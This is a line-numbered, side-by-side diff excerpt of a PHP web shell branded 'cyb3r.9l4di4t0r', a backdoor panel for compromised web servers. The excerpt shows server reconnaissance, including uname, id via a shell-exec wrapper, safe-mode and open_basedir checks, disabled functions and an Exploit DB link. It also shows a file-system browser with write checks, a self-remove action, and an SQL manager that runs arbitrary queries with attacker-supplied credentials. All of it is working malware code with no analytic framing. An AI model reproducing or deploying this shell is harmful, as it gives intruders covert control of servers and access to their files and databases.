| 1726 | if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} | 1726 | if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} |
| 1727 | 1727 | ||
| 1728 | else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} | 1728 | else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} |
| 1729 | 1729 | ||
| 1730 | $sort = htmlspecialchars($sort); | 1730 | $sort = htmlspecialchars($sort); |
| 1731 | 1731 | ||
| 1732 | if (empty($sort)) {$sort = $sort_default;} | 1732 | if (empty($sort)) {$sort = $sort_default;} |
| 1733 | 1733 | ||
| 1734 | $sort[1] = strtolower($sort[1]); | 1734 | $sort[1] = strtolower($sort[1]); |
| 1735 | 1735 | ||
| 1736 | $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); | 1736 | $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); |
| 1737 | 1737 | ||
| 1738 | if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} | 1738 | if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} |
| 1739 | 1739 | ||
| 1740 | $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'[<a href="http://www.google.com/search?q='.$kernel.' '. $release.'" target=_blank ><b><u><font color="red">Google</font></u></b></a>]',htmlspecialchars($DISP_SERVER_SOFTWARE)); | 1740 | $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'[<a href="http://www.google.com/search?q='.$kernel.' '. $release.'" target=_blank ><b><u><font color="red">Google</font></u></b></a>]',htmlspecialchars($DISP_SERVER_SOFTWARE)); |
| 1741 | 1741 | ||
| 1742 | @ini_set("highlight.bg",$highlight_bg); //FFFFFF | 1742 | @ini_set("highlight.bg",$highlight_bg); //FFFFFF |
| 1743 | 1743 | ||
| 1744 | @ini_set("highlight.comment",$highlight_comment); //#FF8000 | 1744 | @ini_set("highlight.comment",$highlight_comment); //#FF8000 |
| 1745 | 1745 | ||
| 1746 | @ini_set("highlight.default",$highlight_default); //#0000BB | 1746 | @ini_set("highlight.default",$highlight_default); //#0000BB |
| 1747 | 1747 | ||
| 1748 | @ini_set("highlight.html",$highlight_html); //#000000 | 1748 | @ini_set("highlight.html",$highlight_html); //#000000 |
| 1749 | 1749 | ||
| 1750 | @ini_set("highlight.keyword",$highlight_keyword); //#007700 | 1750 | @ini_set("highlight.keyword",$highlight_keyword); //#007700 |
| 1751 | 1751 | ||
| 1752 | @ini_set("highlight.string",$highlight_string); //#DD0000 | 1752 | @ini_set("highlight.string",$highlight_string); //#DD0000 |
| 1753 | 1753 | ||
| 1754 | if (!is_array($actbox)) {$actbox = array();} | 1754 | if (!is_array($actbox)) {$actbox = array();} |
| 1755 | 1755 | ||
| 1756 | $dspact = $act = htmlspecialchars($act); | 1756 | $dspact = $act = htmlspecialchars($act); |
| 1757 | 1757 | ||
| 1758 | $disp_fullpath = $ls_arr = $notls = null; | 1758 | $disp_fullpath = $ls_arr = $notls = null; |
| 1759 | 1759 | ||
| 1760 | $ud = urlencode($d); | 1760 | $ud = urlencode($d); |
| 1761 | 1761 | ||
| 1762 | ?> | 1762 | ?> |
| 1763 | 1763 | ||
| 1764 | <center> | 1764 | <center> |
| 1765 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"> | 1765 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"> |
| 1766 | <tr> | 1766 | <tr> |
| 1767 | <td><center><p><a href="?"><img src="http://s15.postimage.org/5oskuq363/image.png" height="68px" width="66px" border="0px"/></a><br />cyb3r.9l4di4t0r<br /><?php echo $shver; ?> </p></center></td> | 1767 | <td><center><p><a href="?"><img src="http://s15.postimage.org/5oskuq363/image.png" height="68px" width="66px" border="0px"/></a><br />cyb3r.9l4di4t0r<br /><?php echo $shver; ?> </p></center></td> |
| 1768 | <td width="90%"> | 1768 | <td width="90%"> |
| 1769 | <TABLE style="BORDER-COLLAPSE: collapse" borderColorDark=#c0c0c0 cellPadding=3 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=0> | 1769 | <TABLE style="BORDER-COLLAPSE: collapse" borderColorDark=#c0c0c0 cellPadding=3 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=0> |
| 1770 | <tr> | 1770 | <tr> |
| 1771 | <td width="9%" ><b>Software :</b></td> | 1771 | <td width="9%" ><b>Software :</b></td> |
| 1772 | <td ><b><?php echo $DISP_SERVER_SOFTWARE.' [<a href="'.$expltlink.'" target=_blank><b><u><font color="yellow">Exploit DB</font></u></b></a>]'; ?></b></td> | 1772 | <td ><b><?php echo $DISP_SERVER_SOFTWARE.' [<a href="'.$expltlink.'" target=_blank><b><u><font color="yellow">Exploit DB</font></u></b></a>]'; ?></b></td> |
| 1773 | <td width="9%"><?php echo "<a href=\"".$surl."act=serverinfo\" ><b><u>Server</u> I.P.</b></a>"?></td> | 1773 | <td width="9%"><?php echo "<a href=\"".$surl."act=serverinfo\" ><b><u>Server</u> I.P.</b></a>"?></td> |
| 1774 | <td width="9%"><b><?php echo getenv('SERVER_ADDR'); ?></b></td> | 1774 | <td width="9%"><b><?php echo getenv('SERVER_ADDR'); ?></b></td> |
| 1775 | </tr> | 1775 | </tr> |
| 1776 | <tr> | 1776 | <tr> |
| 1777 | <td width="9%" ><?php echo "<a href=\"".$surl."act=security\" ><b><u>Uname-a</u> :</b></a>"?></td> | 1777 | <td width="9%" ><?php echo "<a href=\"".$surl."act=security\" ><b><u>Uname-a</u> :</b></a>"?></td> |
| 1778 | <td ><b><?php echo wordwrap(php_uname(),90,"<br>",1); ?></b></td> | 1778 | <td ><b><?php echo wordwrap(php_uname(),90,"<br>",1); ?></b></td> |
| 1779 | <td width="9%"><?php echo "<a href=\"".$surl."act=clientinfo\" ><b><u>Client</u> I.P.</b></a>"?></td> | 1779 | <td width="9%"><?php echo "<a href=\"".$surl."act=clientinfo\" ><b><u>Client</u> I.P.</b></a>"?></td> |
| 1780 | <td width="9%"><b><?php echo $_SERVER['REMOTE_ADDR']; ?></b></td> | 1780 | <td width="9%"><b><?php echo $_SERVER['REMOTE_ADDR']; ?></b></td> |
| 1781 | </tr> | 1781 | </tr> |
| 1782 | <tr> | 1782 | <tr> |
| 1783 | <td width="9%" ><?php echo "<a href=\"".$surl."act=processes\" ><b><u>Username</u> :</b></a>"?></td> | 1783 | <td width="9%" ><?php echo "<a href=\"".$surl."act=processes\" ><b><u>Username</u> :</b></a>"?></td> |
| 1784 | <td ><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b></td> | 1784 | <td ><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b></td> |
| 1785 | <td width="9%"><?php echo "<a href=\"".$surl."act=systeminfo\" ><b><u>Sys</u>tem<u>info</u></b></a>"?></td> | 1785 | <td width="9%"><?php echo "<a href=\"".$surl."act=systeminfo\" ><b><u>Sys</u>tem<u>info</u></b></a>"?></td> |
| 1786 | <td width="9%"></td> | 1786 | <td width="9%"></td> |
| 1787 | </tr> | 1787 | </tr> |
| 1788 | <tr> | 1788 | <tr> |
| 1789 | <td width="9%" ><b>Safe Mode :</b></td> | 1789 | <td width="9%" ><b>Safe Mode :</b></td> |
| 1790 | <td ><b><?php echo $hsafemode; ?></b></td> | 1790 | <td ><b><?php echo $hsafemode; ?></b></td> |
| 1791 | <td width="9%"><b></b></td> | 1791 | <td width="9%"><b></b></td> |
| 1792 | <td width="9%"></td> | 1792 | <td width="9%"></td> |
| 1793 | </tr> | 1793 | </tr> |
| 1794 | <tr> | 1794 | <tr> |
| 1795 | <td width="9%" ><b>Directory :</b></td> | 1795 | <td width="9%" ><b>Directory :</b></td> |
| 1796 | <td ><b> | 1796 | <td ><b> |
| 1797 | <?php | 1797 | <?php |
| 1798 | 1798 | ||
| 1799 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 1799 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 1800 | 1800 | ||
| 1801 | if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} | 1801 | if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} |
| 1802 | 1802 | ||
| 1803 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 1803 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 1804 | 1804 | ||
| 1805 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 1805 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 1806 | 1806 | ||
| 1807 | $d = str_replace("\\\\","\\",$d); | 1807 | $d = str_replace("\\\\","\\",$d); |
| 1808 | 1808 | ||
| 1809 | $dispd = htmlspecialchars($d); | 1809 | $dispd = htmlspecialchars($d); |
| 1810 | 1810 | ||
| 1811 | $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); | 1811 | $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); |
| 1812 | 1812 | ||
| 1813 | $i = 0; | 1813 | $i = 0; |
| 1814 | 1814 | ||
| 1815 | foreach($pd as $b) | 1815 | foreach($pd as $b) |
| 1816 | 1816 | ||
| 1817 | { | 1817 | { |
| 1818 | 1818 | ||
| 1819 | $t = ""; | 1819 | $t = ""; |
| 1820 | 1820 | ||
| 1821 | $j = 0; | 1821 | $j = 0; |
| 1822 | 1822 | ||
| 1823 | foreach ($e as $r) | 1823 | foreach ($e as $r) |
| 1824 | 1824 | ||
| 1825 | { | 1825 | { |
| 1826 | 1826 | ||
| 1827 | $t.= $r.DIRECTORY_SEPARATOR; | 1827 | $t.= $r.DIRECTORY_SEPARATOR; |
| 1828 | 1828 | ||
| 1829 | if ($j == $i) {break;} | 1829 | if ($j == $i) {break;} |
| 1830 | 1830 | ||
| 1831 | $j++; | 1831 | $j++; |
| 1832 | 1832 | ||
| 1833 | } | 1833 | } |
| 1834 | 1834 | ||
| 1835 | echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; | 1835 | echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; |
| 1836 | 1836 | ||
| 1837 | $i++; | 1837 | $i++; |
| 1838 | 1838 | ||
| 1839 | } | 1839 | } |
| 1840 | 1840 | ||
| 1841 | echo " "; | 1841 | echo " "; |
| 1842 | 1842 | ||
| 1843 | if (is_writable($d)) | 1843 | if (is_writable($d)) |
| 1844 | 1844 | ||
| 1845 | { | 1845 | { |
| 1846 | 1846 | ||
| 1847 | $wd = TRUE; | 1847 | $wd = TRUE; |
| 1848 | 1848 | ||
| 1849 | $wdt = "<font color=green>[ ok ]</font>"; | 1849 | $wdt = "<font color=green>[ ok ]</font>"; |
| 1850 | 1850 | ||
| 1851 | echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; | 1851 | echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; |
| 1852 | 1852 | ||
| 1853 | } | 1853 | } |
| 1854 | 1854 | ||
| 1855 | else | 1855 | else |
| 1856 | 1856 | ||
| 1857 | { | 1857 | { |
| 1858 | 1858 | ||
| 1859 | $wd = FALSE; | 1859 | $wd = FALSE; |
| 1860 | 1860 | ||
| 1861 | $wdt = "<font color=red>[ Read-Only ]</font>"; | 1861 | $wdt = "<font color=red>[ Read-Only ]</font>"; |
| 1862 | 1862 | ||
| 1863 | echo "<b>".view_perms_color($d)."</b>"; | 1863 | echo "<b>".view_perms_color($d)."</b>"; |
| 1864 | 1864 | ||
| 1865 | } | 1865 | } |
| 1866 | ?> | 1866 | ?> |
| 1867 | </b></td> | 1867 | </b></td> |
| 1868 | <td width="9%"><?php echo "<a href=\"".$surl."act=selfremove\" ><b><font color='orange'>Self <u>Remove</u></font></b></a>"?></td> | 1868 | <td width="9%"><?php echo "<a href=\"".$surl."act=selfremove\" ><b><font color='orange'>Self <u>Remove</u></font></b></a>"?></td> |
| 1869 | <td width="9%"></td> | 1869 | <td width="9%"></td> |
| 1870 | </tr> | 1870 | </tr> |
| 1871 | <tr> | 1871 | <tr> |
| 1872 | <td width="9%" ><b>Free Space :</b></td> | 1872 | <td width="9%" ><b>Free Space :</b></td> |
| 1873 | <td ><b> | 1873 | <td ><b> |
| 1874 | <?php if (is_callable("disk_free_space")) | 1874 | <?php if (is_callable("disk_free_space")) |
| 1875 | 1875 | ||
| 1876 | { | 1876 | { |
| 1877 | 1877 | ||
| 1878 | $free = disk_free_space($d); | 1878 | $free = disk_free_space($d); |
| 1879 | 1879 | ||
| 1880 | $total = disk_total_space($d); | 1880 | $total = disk_total_space($d); |
| 1881 | 1881 | ||
| 1882 | if ($free === FALSE) {$free = 0;} | 1882 | if ($free === FALSE) {$free = 0;} |
| 1883 | 1883 | ||
| 1884 | if ($total === FALSE) {$total = 0;} | 1884 | if ($total === FALSE) {$total = 0;} |
| 1885 | 1885 | ||
| 1886 | if ($free < 0) {$free = 0;} | 1886 | if ($free < 0) {$free = 0;} |
| 1887 | 1887 | ||
| 1888 | if ($total < 0) {$total = 0;} | 1888 | if ($total < 0) {$total = 0;} |
| 1889 | 1889 | ||
| 1890 | $used = $total-$free; | 1890 | $used = $total-$free; |
| 1891 | 1891 | ||
| 1892 | $free_percent = round(100/($total/$free),2); | 1892 | $free_percent = round(100/($total/$free),2); |
| 1893 | 1893 | ||
| 1894 | echo "<b>".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; | 1894 | echo "<b>".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; |
| 1895 | 1895 | ||
| 1896 | }?> | 1896 | }?> |
| 1897 | </b></td> | 1897 | </b></td> |
| 1898 | <td width="9%"><?php echo "<a href=\"".$surl."act=feedback\" ><b>Feed<u>back</u></b></a>"?></td> | 1898 | <td width="9%"><?php echo "<a href=\"".$surl."act=feedback\" ><b>Feed<u>back</u></b></a>"?></td> |
| 1899 | <td width="9%"></td> | 1899 | <td width="9%"></td> |
| 1900 | </tr> | 1900 | </tr> |
| 1901 | <tr> | 1901 | <tr> |
| 1902 | <td width="9%" ><b>Drives :</b></td> | 1902 | <td width="9%" ><b>Drives :</b></td> |
| 1903 | <td ><b> | 1903 | <td ><b> |
| 1904 | <?php $letters = ""; | 1904 | <?php $letters = ""; |
| 1905 | 1905 | ||
| 1906 | if ($win) | 1906 | if ($win) |
| 1907 | 1907 | ||
| 1908 | { | 1908 | { |
| 1909 | 1909 | ||
| 1910 | $v = explode("\\",$d); | 1910 | $v = explode("\\",$d); |
| 1911 | 1911 | ||
| 1912 | $v = $v[0]; | 1912 | $v = $v[0]; |
| 1913 | 1913 | ||
| 1914 | foreach (range("a","z") as $letter) | 1914 | foreach (range("a","z") as $letter) |
| 1915 | 1915 | ||
| 1916 | { | 1916 | { |
| 1917 | 1917 | ||
| 1918 | $bool = $isdiskette = in_array($letter,$safemode_diskettes); | 1918 | $bool = $isdiskette = in_array($letter,$safemode_diskettes); |
| 1919 | 1919 | ||
| 1920 | if (!$bool) {$bool = is_dir($letter.":\\");} | 1920 | if (!$bool) {$bool = is_dir($letter.":\\");} |
| 1921 | 1921 | ||
| 1922 | if ($bool) | 1922 | if ($bool) |
| 1923 | 1923 | ||
| 1924 | { | 1924 | { |
| 1925 | 1925 | ||
| 1926 | $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; | 1926 | $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; |
| 1927 | 1927 | ||
| 1928 | if ($letter.":" != $v) {$letters .= $letter;} | 1928 | if ($letter.":" != $v) {$letters .= $letter;} |
| 1929 | 1929 | ||
| 1930 | else {$letters .= "<font color=green>".$letter."</font>";} | 1930 | else {$letters .= "<font color=green>".$letter."</font>";} |
| 1931 | 1931 | ||
| 1932 | $letters .= " ]</a> "; | 1932 | $letters .= " ]</a> "; |
| 1933 | 1933 | ||
| 1934 | } | 1934 | } |
| 1935 | 1935 | ||
| 1936 | } | 1936 | } |
| 1937 | 1937 | ||
| 1938 | if (!empty($letters)) {echo $letters."<br>";} | 1938 | if (!empty($letters)) {echo $letters."<br>";} |
| 1939 | } | 1939 | } |
| 1940 | ?></b></td> | 1940 | ?></b></td> |
| 1941 | <td width="9%"><a href="<?php echo $self.'?logout'?>"><b><font color='green'>I'm <u>Out</u> !</font></b></a></td> | 1941 | <td width="9%"><a href="<?php echo $self.'?logout'?>"><b><font color='green'>I'm <u>Out</u> !</font></b></a></td> |
| 1942 | <td width="9%"></td> | 1942 | <td width="9%"></td> |
| 1943 | </tr> | 1943 | </tr> |
| 1944 | 1944 | ||
| 1945 | </table> | 1945 | </table> |
| 1946 | </td> | 1946 | </td> |
| 1947 | 1947 | ||
| 1948 | </tr> | 1948 | </tr> |
| 1949 | </table> | 1949 | </table> |
| 1950 | 1950 | ||
| 1951 | <TABLE style="BORDER-COLLAPSE: collapse" height="1" cellSpacing=0 borderColorDark=#c0c0c0 cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1> | 1951 | <TABLE style="BORDER-COLLAPSE: collapse" height="1" cellSpacing=0 borderColorDark=#c0c0c0 cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1> |
| 1952 | <tr><td width="100%" valign="top"> | 1952 | <tr><td width="100%" valign="top"> |
| 1953 | ADMIN: <?php echo $_SERVER['SERVER_ADMIN'];?> <font color="silver">|</font> | 1953 | ADMIN: <?php echo $_SERVER['SERVER_ADMIN'];?> <font color="silver">|</font> |
| 1954 | PHP : <?php echo "<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>".$phpVersion."</u></b></a>"?> <font color="silver">|</font> | 1954 | PHP : <?php echo "<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>".$phpVersion."</u></b></a>"?> <font color="silver">|</font> |
| 1955 | Curl : <?php echo function_exists('curl_version')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font> | 1955 | Curl : <?php echo function_exists('curl_version')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font> |
| 1956 | Oracle : <?php echo function_exists('ocilogon')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font> | 1956 | Oracle : <?php echo function_exists('ocilogon')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font> |
| 1957 | MySQL : <?php echo function_exists('mysql_connect')?("<font color='red'>Enabled</font>"):("Disabled");?> <font color="silver">|</font> | 1957 | MySQL : <?php echo function_exists('mysql_connect')?("<font color='red'>Enabled</font>"):("Disabled");?> <font color="silver">|</font> |
| 1958 | MSSQL : <?php echo function_exists('mssql_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font> | 1958 | MSSQL : <?php echo function_exists('mssql_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font> |
| 1959 | PostgreSQL : <?php echo function_exists('pg_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font> | 1959 | PostgreSQL : <?php echo function_exists('pg_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver">|</font> |
| 1960 | Disable functions : <?php getDisabledFunctions(); ?> | 1960 | Disable functions : <?php getDisabledFunctions(); ?> |
| 1961 | </td></tr> | 1961 | </td></tr> |
| 1962 | </table> | 1962 | </table> |
| 1963 | 1963 | ||
| 1964 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#c0c0c0 cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"> | 1964 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#c0c0c0 cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"> |
| 1965 | <tr><td width="100%" valign="top"> | 1965 | <tr><td width="100%" valign="top"> |
| 1966 | <?php | 1966 | <?php |
| 1967 | if (count($quicklaunch) > 0) | 1967 | if (count($quicklaunch) > 0) |
| 1968 | 1968 | ||
| 1969 | { | 1969 | { |
| 1970 | 1970 | ||
| 1971 | foreach($quicklaunch as $item) | 1971 | foreach($quicklaunch as $item) |
| 1972 | 1972 | ||
| 1973 | { | 1973 | { |
| 1974 | 1974 | ||
| 1975 | $item[1] = str_replace("%d",urlencode($d),$item[1]); | 1975 | $item[1] = str_replace("%d",urlencode($d),$item[1]); |
| 1976 | 1976 | ||
| 1977 | $item[1] = str_replace("%sort",$sort,$item[1]); | 1977 | $item[1] = str_replace("%sort",$sort,$item[1]); |
| 1978 | 1978 | ||
| 1979 | $v = realpath($d.".."); | 1979 | $v = realpath($d.".."); |
| 1980 | 1980 | ||
| 1981 | if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} | 1981 | if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} |
| 1982 | 1982 | ||
| 1983 | $item[1] = str_replace("%upd",urlencode($v),$item[1]); | 1983 | $item[1] = str_replace("%upd",urlencode($v),$item[1]); |
| 1984 | 1984 | ||
| 1985 | echo "<a href=\"".$item[1]."\">".$item[0]."</a> "; | 1985 | echo "<a href=\"".$item[1]."\">".$item[0]."</a> "; |
| 1986 | 1986 | ||
| 1987 | } | 1987 | } |
| 1988 | 1988 | ||
| 1989 | }?> | 1989 | }?> |
| 1990 | </td> | 1990 | </td> |
| 1991 | </tr> | 1991 | </tr> |
| 1992 | </table><br> | 1992 | </table><br> |
| 1993 | <?php | 1993 | <?php |
| 1994 | 1994 | ||
| 1995 | if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} | 1995 | if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} |
| 1996 | 1996 | ||
| 1997 | echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; | 1997 | echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; |
| 1998 | 1998 | ||
| 1999 | if ($act == "") {$act = $dspact = "ls";} | 1999 | if ($act == "") {$act = $dspact = "ls";} |
| 2000 | 2000 | ||
| 2001 | if ($act == "sql") | 2001 | if ($act == "sql") |
| 2002 | 2002 | ||
| 2003 | { | 2003 | { |
| 2004 | 2004 | ||
| 2005 | $sql_surl = $surl."act=sql"; | 2005 | $sql_surl = $surl."act=sql"; |
| 2006 | 2006 | ||
| 2007 | if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} | 2007 | if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} |
| 2008 | 2008 | ||
| 2009 | if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} | 2009 | if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} |
| 2010 | 2010 | ||
| 2011 | if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} | 2011 | if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} |
| 2012 | 2012 | ||
| 2013 | if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} | 2013 | if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} |
| 2014 | 2014 | ||
| 2015 | if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} | 2015 | if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} |
| 2016 | 2016 | ||
| 2017 | $sql_surl .= "&"; | 2017 | $sql_surl .= "&"; |
| 2018 | 2018 | ||
| 2019 | ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3> | 2019 | ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3> |
| 2020 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php | 2020 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php |
| 2021 | 2021 | ||
| 2022 | if ($sql_server) | 2022 | if ($sql_server) |
| 2023 | 2023 | ||
| 2024 | { | 2024 | { |
| 2025 | 2025 | ||
| 2026 | $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); | 2026 | $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); |
| 2027 | 2027 | ||
| 2028 | $err = mysql_smarterror(); | 2028 | $err = mysql_smarterror(); |
| 2029 | 2029 | ||
| 2030 | @mysql_select_db($sql_db,$sql_sock); | 2030 | @mysql_select_db($sql_db,$sql_sock); |
| 2031 | 2031 | ||
| 2032 | if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} | 2032 | if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} |
| 2033 | 2033 | ||
| 2034 | } | 2034 | } |
| 2035 | 2035 | ||
| 2036 | else {$sql_sock = FALSE;} | 2036 | else {$sql_sock = FALSE;} |
| 2037 | 2037 | ||
| 2038 | echo "<b>SQL Manager:</b><br>"; | 2038 | echo "<b>SQL Manager:</b><br>"; |
| 2039 | 2039 | ||
| 2040 | if (!$sql_sock) | 2040 | if (!$sql_sock) |
| 2041 | 2041 | ||
| 2042 | { | 2042 | { |
| 2043 | 2043 | ||
| 2044 | if (!$sql_server) {echo "NO CONNECTION";} | 2044 | if (!$sql_server) {echo "NO CONNECTION";} |
| 2045 | 2045 | ||
| 2046 | else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} | 2046 | else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} |
| 2047 | 2047 | ||
| 2048 | } | 2048 | } |
| 2049 | 2049 | ||
| 2050 | else | 2050 | else |
| 2051 | 2051 | ||
| 2052 | { | 2052 | { |
| 2053 | 2053 | ||
| 2054 | $sqlquicklaunch = array(); | 2054 | $sqlquicklaunch = array(); |
| 2055 | 2055 | ||
| 2056 | $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); | 2056 | $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); |
| 2057 | 2057 | ||
| 2058 | $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); | 2058 | $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); |
| 2059 | 2059 | ||
| 2060 | $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); | 2060 | $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); |
